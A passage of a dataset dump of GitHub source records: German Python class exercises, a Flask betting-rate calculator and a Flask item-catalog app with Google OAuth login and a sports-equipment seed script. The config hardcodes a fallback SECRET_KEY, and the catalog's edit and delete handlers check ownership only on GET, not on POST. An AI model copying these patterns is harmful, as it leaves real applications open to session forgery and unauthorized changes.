"text": "# Teil 1\n# Erstelle eine Klasse \"Kalender\" mit folgender Eingeschaft:\n# Liste mit Tagen\n# Methode: add -> um Tage hinzuzufuegen\n\nclass Kalender():\n\n def __init__(self):\n self.tage = []\n\n def add(self, tag):\n self.tage.append(tag)\n\n\n# Teil 2\n# Erstelle eine Klasse \"Tage\" mit folgender Eigenschaft:\n# kalendertag und eintrag\n# Methdode: add_eintrag\n\nclass Tag():\n\n def __init__(self, kalendertag):\n self.kalendertag = kalendertag\n self.eintrag = ''\n\n def add_eintrag(self, eintrag):\n self.eintrag = eintrag\n\n# Teil 3\n# erstelle eine Instanz von Kalender\n# erstelle eine Instanz von Tag\n# erstelle einen Eintrag zum Tag\n# gebe den Tag zum Kalender hinzu\n# Zeige das Resultat durch entsprechendes printen\n\nkalender = Kalender()\n\ntag = Tag(2)\ntag.add_eintrag(\"einkaufen um 12:00\")\n\nkalender.add(tag)\n\nget_kalendertage = kalender.tage\nfor tage in get_kalendertage:\n print \"tag: \", tage.kalendertag, \" \", tage.eintrag\n"
},
{
"alpha_fraction": 0.6666666865348816,
"alphanum_fraction": 0.7121211886405945,
"avg_line_length": 23.75,
"blob_id": "f9d236c6d968ef2025c5922074bc7397dbc35074",
"content_id": "4dc8df671622b21810eb3b8c5ab8e10016e06638",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 198,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 8,
"path": "/python_00400_functions/example_01410_imports_with_guard.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "from example_01410_math_func_src import addition\n\n# file names should not start with digits\n\n# guard, protection from being executed on import\n\nif __name__ == '__main__':\n print addition(10, 23)\n"
},
{
"alpha_fraction": 0.649350643157959,
"alphanum_fraction": 0.649350643157959,
"avg_line_length": 14.199999809265137,
"blob_id": "ccd04ae16a88af038af5bc64a0a9ff218d178f78",
"content_id": "2c4c9364262bb8f11b7b80dbcc18918b09dc9ebc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 77,
"license_type": "no_license",
"max_line_length": 25,
"num_lines": 5,
"path": "/python_00400_functions/example_01320_functions_arguments.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "\ndef print_greeting(name):\n print \"Hello \" + name\n\n\nprint_greeting(\"Oli\")\n"
}
] | 159 |
Aleks0010V/stavki | https://github.com/Aleks0010V/stavki | eb7b128e554d81763a8826b381a2ea5364e0fe91 | b121ee7292800533c219c59aa8dfbc8f0e521bd5 | 085dab2aa3ab4eb0549c8d565fa205f08e88d978 | refs/heads/master | 2020-09-02T21:06:11.118513 | 2019-11-03T22:00:45 | 2019-11-03T22:00:45 | 219,304,693 | 0 | 0 | MIT | 2019-11-03T13:25:11 | 2019-11-03T22:00:52 | 2021-04-30T21:33:59 | HTML | [
{
"alpha_fraction": 0.6428571343421936,
"alphanum_fraction": 0.6428571343421936,
"avg_line_length": 20,
"blob_id": "31022cf49e91d74a22b36f5c851b2d52cd3b82d5",
"content_id": "059406acd716dacbfde717b4a90e50446e439ed6",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 84,
"license_type": "permissive",
"max_line_length": 56,
"num_lines": 4,
"path": "/config.py",
"repo_name": "Aleks0010V/stavki",
"src_encoding": "UTF-8",
"text": "import os\n\nclass Config():\n SECRET_KEY = os.environ.get('SECRET_KEY') or 'xJc*R&v5ByOMjLU2^#sP'\n"
},
{
"alpha_fraction": 0.7692307829856873,
"alphanum_fraction": 0.7692307829856873,
"avg_line_length": 18.5,
"blob_id": "4dc777432c03ddfc3588a1b778531e09217d872b",
"content_id": "aa23a3fefddda146ed174efac6e94b2f95b6e923",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 39,
"license_type": "permissive",
"max_line_length": 21,
"num_lines": 2,
"path": "/.flaskenv",
"repo_name": "Aleks0010V/stavki",
"src_encoding": "UTF-8",
"text": "FLASK_APP = stavki.py\nFLASK_DEBUG=True\n"
},
{
"alpha_fraction": 0.7757256031036377,
"alphanum_fraction": 0.7757256031036377,
"avg_line_length": 41.11111068725586,
"blob_id": "2b29abf0227d334376df959961dd0cfa705e19c6",
"content_id": "b76de33e76474fb81b653547a9ca7f26c158fabf",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 415,
"license_type": "permissive",
"max_line_length": 80,
"num_lines": 9,
"path": "/app/forms.py",
"repo_name": "Aleks0010V/stavki",
"src_encoding": "UTF-8",
"text": "from wtforms import SubmitField, FloatField\nfrom wtforms.validators import DataRequired, ValidationError, InputRequired\nfrom flask_wtf import FlaskForm\n\nclass Claculate_rates_form(FlaskForm):\n\n k = FloatField('Коэффициент', validators = [InputRequired()])\n start_money = FloatField('Начальная ставка', validators = [InputRequired()])\n submit = SubmitField('Рассчитать')\n"
},
{
"alpha_fraction": 0.5398126244544983,
"alphanum_fraction": 0.5503512620925903,
"avg_line_length": 30.629629135131836,
"blob_id": "866f7c9e59b6c275b26ae982886846560e153c77",
"content_id": "5a2a931c286afe239977e7dfddb61c78a5854aaa",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 854,
"license_type": "permissive",
"max_line_length": 74,
"num_lines": 27,
"path": "/app/routes.py",
"repo_name": "Aleks0010V/stavki",
"src_encoding": "UTF-8",
"text": "from app import app\nfrom app.forms import Claculate_rates_form\nfrom flask import render_template\n\[email protected]('/', methods = ['GET', 'POST'])\ndef index():\n form = Claculate_rates_form()\n rates = []\n profit = []\n must_have = []\n if form.validate_on_submit():\n k = form.k.data\n S = form.start_money.data\n\n rates.append(S)\n\n profit.append(round((S * k - S), 1))\n step = S * k - S\n\n must_have.append(S)\n for i in range(9):\n profit.append(round((profit[-1] + step), 1))\n rates.append(round((must_have[-1] + profit[-1]) / (k - 1), 1))\n must_have.append(round(sum(rates), 1))\n form = Claculate_rates_form(formdata = None)\n return render_template('main.html', form = form, rates = rates,\n profit = profit, must_have = must_have)\n"
}
] | 4 |
BTAutist/learning-curve | https://github.com/BTAutist/learning-curve | 7ad937d195d40d3debece4baa3d581b15c5533af | a8ffba43830de8bff5e8a637f07a77387e3f06bb | 56dd37dd720970ad58e988bc4d79368432432b48 | refs/heads/main | 2023-07-14T10:02:04.022704 | 2021-08-17T12:28:43 | 2021-08-17T12:28:43 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.44548287987709045,
"alphanum_fraction": 0.8068535923957825,
"avg_line_length": 25.75,
"blob_id": "9bb400d93cea52ea31fea60c612ae0efd097ec5a",
"content_id": "dd6b3c8a0b118602a8ceda70090775a76b2f22fd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 321,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 12,
"path": "/tests/constants_unit.py",
"repo_name": "BTAutist/learning-curve",
"src_encoding": "UTF-8",
"text": "DAI = \"0x6B175474E89094C44Da98b954EedeAC495271d0F\"\nVAULT = \"0x19D3364A399d251E894aC732651be8B0E4e85001\"\nFEE = 1e18\nCHECKPOINTS = 5\nCHECKPOINT_BLOCK_SPACING = 100\nURL = \"indeed\"\nCREATOR = \"0x297a3C4B8bB87E671d31C475C5DbE434E24dFC1F\"\n\nMALICIOUS_AMOUNT = 100_000_000_000e18\nMINT_AMOUNT = 10_000e18\nK = 10_000\nACCURACY = 1e8\n"
}
] | 1 |
mavaughn07/item-catalog | https://github.com/mavaughn07/item-catalog | 94e9d7078465e2c2fdf1ef217c4950a64491ce30 | 2f71b615c80ee5ff1c1c25f617997c05e77f8caf | d06d564032486c938f02aa5208ac3e04783c5584 | refs/heads/master | 2021-10-11T15:36:15.923125 | 2019-01-27T21:50:23 | 2019-01-27T21:50:23 | 109,908,980 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.49474912881851196,
"alphanum_fraction": 0.5075845718383789,
"avg_line_length": 32,
"blob_id": "07bb70b967d8a8e3f43753607bb6caf8dc7acc7f",
"content_id": "426969643e7cbd50e5176ff0d720787a8b50c9f4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 857,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 26,
"path": "/vagrant/catalog/templates/header.html",
"repo_name": "mavaughn07/item-catalog",
"src_encoding": "UTF-8",
"text": "<div class=\"row header col-md-12\">\n <div class=\"col-md-8 col-md-offset-1\">\n <h1><b><a href=\"{{url_for('viewCategories')}}\">Catalog App</a></b></h1>\n </div>\n <div class=\"col-md-1\">\n <h1></h1>\n {% if 'username' not in session %}\n <form action=\"{{url_for('showLogin')}}\" method=\"GET\">\n <button class=\"btn login\" type=\"submit\">Login</button>\n </form>\n {% else %}\n <form action=\"{{url_for('gdisconnect')}}\" method=\"GET\">\n <button class=\"btn login\" type=\"submit\">Logout</button>\n </form>\n {% endif %}\n </div>\n</div>\n{% with messages = get_flashed_messages() %} {% if messages %}\n<div class=\"row col-md-12\">\n <ul class=flashes>\n {% for message in messages %}\n <li>{{ message }}</li>\n {% endfor %}\n </ul>\n {% endif %} {% endwith %}\n</div>"
},
{
"alpha_fraction": 0.6324576735496521,
"alphanum_fraction": 0.6381251215934753,
"avg_line_length": 37.4029426574707,
"blob_id": "738c66396ebbf57150610fe28675d9dff44244a9",
"content_id": "03e9b4f6d78a696d224993bfdee0b90abfd27fd3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13057,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 340,
"path": "/vagrant/catalog/views.py",
"repo_name": "mavaughn07/item-catalog",
"src_encoding": "UTF-8",
"text": "from flask import Flask, jsonify, request, url_for, abort, g, render_template\nfrom flask import redirect, flash\nfrom flask import session as login_session\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship, sessionmaker\nfrom sqlalchemy import create_engine, desc\nfrom models import Base, User, Item, Category\nimport json\nimport random\nimport httplib2\nfrom oauth2client.client import flow_from_clientsecrets\nfrom oauth2client.client import FlowExchangeError\nimport requests\nfrom flask import make_response\nimport string\n\nfrom flask_httpauth import HTTPBasicAuth\nauth = HTTPBasicAuth()\n\nengine = create_engine('sqlite:///itemCatalog.db',\n connect_args={'check_same_thread': False})\n\nBase.metadata.bind = engine\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\napp = Flask(__name__)\n\n# TODO: make pages responsive\n# TODO: Add in non gmail logins\n\nCLIENT_ID = json.loads(\n open('client_secrets.json', 'r').read())['web']['client_id']\nAPPLICATION_NAME = \"Udacity Catalog App\"\n\n\[email protected]_password\ndef verify_password(username_or_token, password):\n if 'username' in login_session:\n return True\n return False\n\n\n# Create anti-forgery state token\[email protected]('/login', methods=['GET'])\ndef showLogin():\n state = ''.join(random.choice(string.ascii_uppercase +\n string.digits) for x in range(32))\n login_session['state'] = state\n return render_template('login.html', STATE=state)\n\n\[email protected]('/gconnect', methods=['POST'])\ndef gconnect():\n # Validate state token\n if request.args.get('state') != login_session['state']:\n response = make_response(json.dumps('Invalid state parameter.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n # Obtain authorization code\n code = request.data\n\n try:\n # Upgrade the authorization code into a credentials object\n oauth_flow = flow_from_clientsecrets('client_secrets.json', scope='')\n oauth_flow.redirect_uri = 'postmessage'\n credentials = oauth_flow.step2_exchange(code)\n except FlowExchangeError:\n response = make_response(\n json.dumps('Failed to upgrade the authorization code.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Check that the access token is valid.\n access_token = credentials.access_token\n url = ('https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=%s'\n % access_token)\n h = httplib2.Http()\n result = json.loads(h.request(url, 'GET')[1].decode())\n # If there was an error in the access token info, abort.\n if result.get('error') is not None:\n response = make_response(json.dumps(result.get('error')), 500)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Verify that the access token is used for the intended user.\n gplus_id = credentials.id_token['sub']\n if result['user_id'] != gplus_id:\n response = make_response(\n json.dumps(\"Token's user ID doesn't match given user ID.\"), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Verify that the access token is valid for this app.\n if result['issued_to'] != CLIENT_ID:\n response = make_response(\n json.dumps(\"Token's client ID does not match app's.\"), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n stored_access_token = login_session.get('access_token')\n stored_gplus_id = login_session.get('gplus_id')\n if stored_access_token is not None and gplus_id == stored_gplus_id:\n response = make_response(json.dumps(\"\"\"Current user is already\n connected.\"\"\"), 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Store the access token in the session for later use.\n login_session['access_token'] = credentials.access_token\n login_session['gplus_id'] = gplus_id\n\n # Get user info\n userinfo_url = \"https://www.googleapis.com/oauth2/v1/userinfo\"\n params = {'access_token': credentials.access_token, 'alt': 'json'}\n answer = requests.get(userinfo_url, params=params)\n\n data = answer.json()\n if 'name' in data:\n login_session['username'] = data['name']\n else:\n login_session['username'] = data['email']\n login_session['picture'] = data['picture']\n login_session['email'] = data['email']\n # if username does not exit, add to database\n user = session.query(User).filter_by(username=login_session['username'])\\\n .first()\n if user is None:\n newUser = User(username=login_session['username'])\n session.add(newUser)\n session.commit()\n\n output = ''\n output += '<h1>Welcome, '\n output += login_session['username']\n output += '!</h1>'\n output += '<img src=\"'\n output += login_session['picture']\n output += ' \" style = \"width: 300px; height: 300px;border-radius: 150px;'\n output += '-webkit-border-radius: 150px;-moz-border-radius: 150px;\"> '\n flash(\"You are now logged in as %s\" % login_session['username'])\n return output\n\n\n# DISCONNECT - Revoke a current user's token and reset their login_session\[email protected]('/gdisconnect')\ndef gdisconnect():\n access_token = login_session['access_token']\n if access_token is None:\n response = make_response(json.dumps('Current user not connected.'),\n 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n url = ('https://accounts.google.com/o/oauth2/revoke?token=%s'\n % login_session['access_token'])\n h = httplib2.Http()\n result = h.request(url, 'GET')[0]\n if result['status'] == '200':\n del login_session['access_token']\n del login_session['gplus_id']\n del login_session['username']\n del login_session['email']\n del login_session['picture']\n response = make_response(json.dumps('Successfully disconnected.'), 200)\n response.headers['Content-Type'] = 'application/json'\n flash(\"User has been logged out\")\n return redirect(url_for('viewCategories'))\n else:\n response = make_response(json.dumps(\"\"\"Failed to revoke token for given\n user.\"\"\", 400))\n response.headers['Content-Type'] = 'application/json'\n flash(\"Error revoking token from the user\")\n return redirect(url_for('viewCategories'))\n\n\[email protected]('/')\[email protected]('/catalog')\[email protected]('/catalog/')\ndef viewCategories():\n # this is the main page of the app that displays a list of categories and\n # the latest items added.\n\n categories = session.query(Category).all()\n items = session.query(Item).order_by(desc(\"id\")).limit(10).all()\n return render_template('categories.html', categories=categories,\n latestItems=items)\n\n\[email protected]('/catalog/<string:cat_name>')\ndef viewIndividual(cat_name):\n # this is the page that will view all items inside a specific category\n\n categories = session.query(Category).all()\n category = session.query(Category).filter_by(name=cat_name).first()\n if category is None:\n return render_template('error.html')\n items = session.query(Item).filter_by(category_id=category.id).all()\n\n return render_template('items.html', category=category, items=items,\n categories=categories)\n\n\[email protected]('/catalog/<string:cat_name>/<string:item_name>')\ndef viewDescription(cat_name, item_name):\n # this page will be for viewing the description of an items\n category = session.query(Category).filter_by(name=cat_name).first()\n if category is None:\n return render_template('error.html')\n item = session.query(Item).filter_by(name=item_name,\n category=category).first()\n if item is None:\n return render_template('error.html')\n\n return render_template('item.html', item=item)\n\n\[email protected]('/create/<string:cat_name>', methods=['GET', 'POST'])\[email protected]_required\ndef itemCreate(cat_name):\n # this page will be for creating an ITEM\n category = session.query(Category).filter_by(name=cat_name).first()\n if category is None:\n return render_template('error.html')\n if request.method == 'POST':\n if (session.query(Item).filter_by(name=request.form['name'],\n category=category)\n .first() is not None):\n flash(\"Item is already in category, please use edit\")\n return redirect(url_for('viewIndividual', cat_name=category.name))\n if (request.form['name'] and request.form['description'] and\n category.name):\n user = session.query(User)\\\n .filter_by(username=login_session['username']).one()\n newItem = Item(name=request.form['name'],\n description=request.form['description'],\n category=category, user=user)\n session.add(newItem)\n session.commit()\n return redirect(url_for('viewIndividual', cat_name=category.name))\n else:\n\n flash(\"Error creating item, please try again\")\n return redirect(url_for('viewCategories'))\n else:\n return render_template('newItem.html', category=category)\n\n\[email protected]('/catalog/<string:cat_name>/<string:item_name>/edit',\n methods=['GET', 'POST'])\[email protected]_required\ndef itemEdit(cat_name, item_name):\n # this page will be for editing an ITEM\n category = session.query(Category).filter_by(name=cat_name).first()\n if category is None:\n return render_template('error.html')\n\n editItem = session.query(Item).filter_by(name=item_name,\n category=category).first()\n if editItem is None:\n return render_template('error.html')\n categories = session.query(Category).all()\n\n if request.method == 'POST':\n category = session.query(Category)\\\n .filter_by(name=request.form['category']).first()\n if request.form['name']:\n editItem.name = request.form['name']\n if request.form['description']:\n editItem.description = request.form['description']\n if request.form['category']:\n editItem.category = category\n session.add(editItem)\n session.commit()\n return redirect(url_for('viewIndividual', cat_name=category.name))\n elif editItem.user.username != login_session['username']:\n flash(\"\"\"You are not the owner of this item, please login or use add\n item instead\"\"\")\n return redirect(url_for('viewIndividual', cat_name=category.name))\n else:\n return render_template('editItem.html', item=editItem,\n categories=categories)\n\n\[email protected]('/catalog/<string:cat_name>/<string:item_name>/delete',\n methods=['GET', 'POST'])\[email protected]_required\ndef itemDelete(cat_name, item_name):\n # this page will be for deleting an ITEM\n\n category = session.query(Category).filter_by(name=cat_name).first()\n if category is None:\n return render_template('error.html')\n\n deleteItem = session.query(Item).filter_by(name=item_name,\n category=category).first()\n if deleteItem is None:\n return render_template('error.html')\n\n if request.method == 'POST':\n session.delete(deleteItem)\n session.commit()\n return redirect(url_for('viewIndividual', cat_name=category.name))\n elif deleteItem.user.username != login_session['username']:\n flash(\"\"\"You are not the owner of this item, please login or use add\n item instead\"\"\")\n return redirect(url_for('viewIndividual', cat_name=category.name))\n else:\n return render_template('deleteItem.html', item=deleteItem)\n\n\[email protected]('/api.json')\ndef apiAll():\n # returns all items in json format\n\n categories = session.query(Category).all()\n return jsonify(Category=[c.serialize for c in categories])\n\n\[email protected]('/api/<string:cat_name>.json')\ndef apiCategory(cat_name):\n\n category = session.query(Category).filter_by(name=cat_name).first()\n items = session.query(Item).filter_by(category_id=category.id).all()\n\n return jsonify(item=[i.serialize for i in items])\n\n\[email protected]('/api/<string:cat_name>/<string:item_name>.json')\ndef apiItem(cat_name, item_name):\n\n category = session.query(Category).filter_by(name=cat_name).first()\n item = session.query(Item).filter_by(category_id=category.id).first()\n\n return jsonify(item=item.serialize)\n\n\nif __name__ == '__main__':\n app.debug = True\n app.config['SECRET_KEY'] = ''.join(random.choice(string.ascii_uppercase +\n string.digits) for x in range(32))\n app.run(host='0.0.0.0', port=5000)\n"
},
{
"alpha_fraction": 0.7269214391708374,
"alphanum_fraction": 0.7433805465698242,
"avg_line_length": 45.271522521972656,
"blob_id": "28466e28e2dae1a13e09c58045c803a945a3d3ce",
"content_id": "0d339fb4adb1c802236e54217624e39d207bb325",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 14012,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 302,
"path": "/vagrant/catalog/createCatalog.py",
"repo_name": "mavaughn07/item-catalog",
"src_encoding": "UTF-8",
"text": "from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom models import Base, User, Item, Category\n\nengine = create_engine('sqlite:///itemCatalog.db')\n# Bind the engine to the metadata of the Base class so that the\n# declaratives can be accessed through a DBSession instance\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\n# A DBSession() instance establishes all conversations with the database\n# and represents a \"staging zone\" for all the objects loaded into the\n# database session object. Any change made against the objects in the\n# session won't be persisted into the database until you call\n# session.commit(). If you're not happy about the changes, you can\n# revert all of them back to the last commit by calling\n# session.rollback()\nsession = DBSession()\n\nusername = \"Max Vaughn\"\nuser1 = User(username=\"Max Vaughn\")\nsession.add(user1)\nsession.commit()\n\ncategory1 = Category(name=\"Snowboarding\")\n\nsession.add(category1)\nsession.commit()\n\nitem2 = Item(name=\"Snowboard\", description=\"\"\"Snowboards are boards where both\n feet are secured to the same board, which are wider than skis, with the\n ability to glide on snow. Snowboards widths are between 6 and 12 inches or\n 15 to 30 centimeters. Snowboards are differentiated from monoskis by the\n stance of the user. In monoskiing, the user stands with feet inline with\n direction of travel (facing tip of monoski/downhill) (parallel to long\n axis of board), whereas in snowboarding, users stand with feet transverse\n (more or less) to the longitude of the board. Users of such equipment may\n be referred to as snowboarders. Commercial snowboards generally require\n extra equipment such as bindings and special boots which help secure both\n feet of a snowboarder, who generally rides in an upright position. These\n types of boards are commonly used by people at ski hills or resorts for\n leisure, entertainment, and competitive purposes in the activity called\n snowboarding.\"\"\", category=category1, user=user1)\n\nsession.add(item2)\nsession.commit()\n\n\nitem1 = Item(name=\"Bindings\", description=\"\"\"Bindings are separate components\n from the snowboard deck and are very important parts of the total\n snowboard interface. The bindings' main function is to hold the rider's\n boot in place tightly to transfer their energy to the board. Most bindings\n are attached to the board with three or four screws that are placed in the\n center of the binding. Although a rather new technology from Burton\n called Infinite channel system uses two screws, both on the outsides of\n the binding. There are several types of bindings. Strap-in, step-in, and\n hybrid bindings are used by most recreational riders and all freestyle\n riders.\"\"\", category=category1, user=user1)\n\nsession.add(item1)\nsession.commit()\n\nitem2 = Item(name=\"Wax\", description=\"\"\"Ski wax is a material applied to the\n bottom of snow runners, including skis, snowboards, and toboggans, to\n improve their coefficient of friction performance under varying snow\n conditions. The two main types of wax used on skis are glide waxes and\n grip waxes. They address kinetic friction—to be minimized with a glide\n wax—and static friction—to be achieved with a grip wax. Both types of wax\n are designed to be matched with the varying properties of snow,\n including crystal type and size, and moisture content of the snow\n surface, which vary with temperature and the temperature history of the\n snow. Glide wax is selected to minimize sliding friction for both alpine\n and cross-country skiing. Grip wax (also called 'kick wax') provides\n on-snow traction for cross-country skiers, as they stride forward using\n classic technique.\"\"\", category=category1, user=user1)\n\nsession.add(item2)\nsession.commit()\n\nitem3 = Item(name=\"Boots\", description=\"\"\"Snowboard boots are mostly\n considered soft boots, though alpine snowboarding uses a harder boot\n similar to a ski boot. A boot's primary function is to transfer the\n rider's energy into the board, protect the rider with support, and keep\n the rider's feet warm. A snowboarder shopping for boots is usually\n looking for a good fit, flex, and looks. Boots can have different features\n such as lacing styles, heat molding liners, and gel padding that the\n snowboarder also might be looking for. Tradeoffs include rigidity versus\n comfort, and built in forward lean, versus comfort.\"\"\",\n category=category1, user=user1)\n\nsession.add(item3)\nsession.commit()\n\nitem4 = Item(name=\"Snowpants\", description=\"\"\"Ski pants, or salopettes, when\n part of a two-piece ski suit, is usually made in the same fabric and color\n as the corresponding ski jacket. It is sometimes in the form of\n bib-and-brace and the jacket is worn over it.\"\"\",\n category=category1, user=user1)\n\nsession.add(item4)\nsession.commit()\n\n\ncategory2 = Category(name=\"Soccer\")\n\nsession.add(category2)\nsession.commit()\n\n\nitem1 = Item(name=\"Soccer Ball\", description=\"\"\"A football, soccer ball, or\n association football ball is the ball used in the sport of association\n football. The name of the ball varies according to whether the sport is\n called 'football', 'soccer', or 'association football'. The ball's\n spherical shape, as well as its size, weight, and material composition,\n are specified by Law 2 of the Laws of the Game maintained by the\n International Football Association Board. Additional, more stringent,\n standards are specified by FIFA and subordinate governing bodies for the\n balls used in the competitions they sanction.\"\"\",\n category=category2, user=user1)\n\nsession.add(item1)\nsession.commit()\n\nitem2 = Item(name=\"Cleats\", description=\"\"\"Cleats or studs are protrusions on\n the sole of a shoe, or on an external attachment to a shoe, that provide\n additional traction on a soft or slippery surface. They can be conical or\n blade-like in shape, and made of plastic, rubber or metal. The type worn\n depends on the environment of play, whether it be grass, ice, artificial\n turf, or other grounds.\"\"\", category=category2, user=user1)\n\nsession.add(item2)\nsession.commit()\n\nitem3 = Item(name=\"Goalie Gloves\", description=\"\"\"There are no other specific\n requirements, but goalkeepers are usually allowed to wear additional\n protective gear such as padded clothing. Most goalkeepers also wear\n gloves to protect their hands and enhance their grip of the ball.\"\"\",\n category=category2, user=user1)\n\nsession.add(item3)\nsession.commit()\n\nitem4 = Item(name=\"Shinguards\", description=\"\"\"A shin guard or shin pad is a\n piece of equipment worn on the front of a player’s shin to protect them\n from injury. These are commonly used in sports including association\n football, baseball, ice hockey, field hockey, lacrosse, cricket, mountain\n bike trials, and other sports. This is due to either being required by\n the rules/laws of the sport or worn voluntarily by the participants\n for protective measures.\"\"\", category=category2, user=user1)\n\nsession.add(item4)\nsession.commit()\n\ncategory1 = Category(name=\"Baseball\")\n\nsession.add(category1)\nsession.commit()\n\n\nitem1 = Item(name=\"Bat\", description=\"\"\"Four historically significant\n baseball bats showcased in the National Baseball Hall of Fame's traveling\n exhibit 'Baseball As America'. From left to right: bat used by Babe Ruth\n to hit his 60th home run during the 1927 season, bat used by Roger Maris\n to hit his 61st home run during the 1961 season, bat used by Mark McGwire\n to hit his 70th home run during the 1998 season, and the bat used by\n Sammy Sosa for his 66th home run during the same season. A baseball bat\n is a smooth wooden or metal club used in the sport of baseball to hit the\n ball after it is thrown by the pitcher. By regulation it may be no more\n than 2.75 inches(7.0 cm) in diameter at the thickest part and no more\n than 42 inches(1.067 m) in length. Although historically bats approaching\n 3 pounds(1.4 kg) were swung, today bats of 33 ounces(0.94 kg) are\n common, topping out at 34 ounces(0.96 kg) to 36 ounces(1.0 kg).\"\"\",\n category=category1, user=user1)\n\nsession.add(item1)\nsession.commit()\n\nitem2 = Item(name=\"Mitt\", description=\"\"\"A baseball glove or mitt is a large\n leather glove worn by baseball players of the defending team, which\n assists players in catching and fielding balls hit by a batter or thrown\n by a teammate. By convention, the glove is described by the handedness of\n the intended wearer, rather than the hand on which the glove is worn: a\n glove that fits on the left hand—used by a right-handed thrower—is called\n a right-handed(RH) or 'right-hand throw' (RHT) glove. Conversely, a\n left-handed glove(LH or LHT) is worn on the right hand, allowing the\n player to throw the ball with the left hand.\"\"\",\n category=category1, user=user1)\n\nsession.add(item2)\nsession.commit()\n\nitem3 = Item(name=\"Baseball\", description=\"\"\"A baseball is a ball used in the\n sport of the same name. The ball features a rubber or cork center,\n wrapped in yarn, and covered, in the words of the Official Baseball Rules\n 'with two strips of white horsehide or cowhide, tightly stitched\n together.' It is 9–91⁄4 inches (229–235 mm) in circumference\n (2 55⁄64–2 15⁄16 in. or 73–75 mm in diameter), and masses from 5 to\n 51⁄4 oz. (142 to 149 g). The yarn or string used to wrap the baseball\n can be up to one mile (1.6 km) in length. Some are wrapped in a\n plastic-like covering.\"\"\", category=category1, user=user1)\n\nsession.add(item3)\nsession.commit()\n\nitem4 = Item(name=\"Batting Helmet\", description=\"\"\"A batting helmet is worn\n by batters in the game of baseball or softball. It is meant to protect\n the batter's head from errant pitches thrown by the pitcher. A batter who\n is 'hit by pitch, ' due to an inadvertent wild pitch or a pitcher's\n purposeful attempt to hit him, may be seriously, even fatally,\n injured.\"\"\", category=category1, user=user1)\n\nsession.add(item4)\nsession.commit()\n\ncategory1 = Category(name=\"Tennis\")\n\nsession.add(category1)\nsession.commit()\n\n\nitem1 = Item(name=\"Tennis Racket\", description=\"\"\"A racket or racquet is a\n sports implement consisting of a handled frame with an open hoop across\n which a network of strings or catgut is stretched tightly. It is used\n for striking a ball or shuttlecock in games such as squash, tennis,\n racquetball, and badminton. Collectively, these games are known as racket\n sports. Racket design and manufacturing has changed considerably over\n the centuries.\"\"\", category=category1, user=user1)\n\nsession.add(item1)\nsession.commit()\n\nitem2 = Item(name=\"Tennis Ball\", description=\"\"\"A tennis ball is a ball\n designed for the sport of tennis. Tennis balls are fluorescent yellow at\n major sporting events, but in recreational play can be virtually any\n color. Tennis balls are covered in a fibrous felt which modifies their\n aerodynamic properties, and each has a white curvilinear oval covering\n it.\"\"\", category=category1, user=user1)\n\nsession.add(item2)\nsession.commit()\n\n\ncategory1 = Category(name=\"Basketball\")\n\nsession.add(category1)\nsession.commit()\n\n\nitem1 = Item(name=\"Basketball\", description=\"\"\"A basketball is a spherical\n ball used in basketball games. Basketballs typically range in size from\n very small promotional items only a few inches in diameter to extra\n large balls nearly a foot in diameter used in training exercises. For\n example, a youth basketball could be 27 inches (69 cm) in circumference,\n while a National Collegiate Athletic Association (NCAA) men's ball\n would be a maximum of 30 inches (76 cm) and an NCAA women's ball would be\n a maximum of 29 inches (74 cm). The standard for a basketball in the\n National Basketball Association (NBA) is 29.5 inches (75 cm) in\n circumference and for the Women's National Basketball Association (WNBA),\n a maximum circumference of 29 inches (74 cm). High school and junior\n leagues normally use NCAA, NBA or WNBA sized balls.\"\"\",\n category=category1, user=user1)\n\nsession.add(item1)\nsession.commit()\n\nitem2 = Item(name=\"Net\", description=\"\"\"The basket is a steel rim 18 inches\n (46 cm) diameter with an attached net affixed to a backboard that\n measures 6 by 3.5 feet (1.8 by 1.1 meters) and one basket is at each end\n of the court. The white outlined box on the backboard is 18 inches\n (46 cm) high and 2 feet (61 cm) wide. At almost all levels of\n competition, the top of the rim is exactly 10 feet (3.05 meters) above\n the court and 4 feet (1.22 meters) inside the baseline. While variation\n is possible in the dimensions of the court and backboard, it is\n considered important for the basket to be of the correct height – a rim\n that is off by just a few inches can have an adverse effect on\n shooting.\"\"\", category=category1, user=user1)\n\nsession.add(item2)\nsession.commit()\n\n\ncategory1 = Category(name=\"Football\")\n\nsession.add(category1)\nsession.commit()\n\n\nitem1 = Item(name=\"Pads\", description=\"\"\"Shoulder pads are a piece of\n 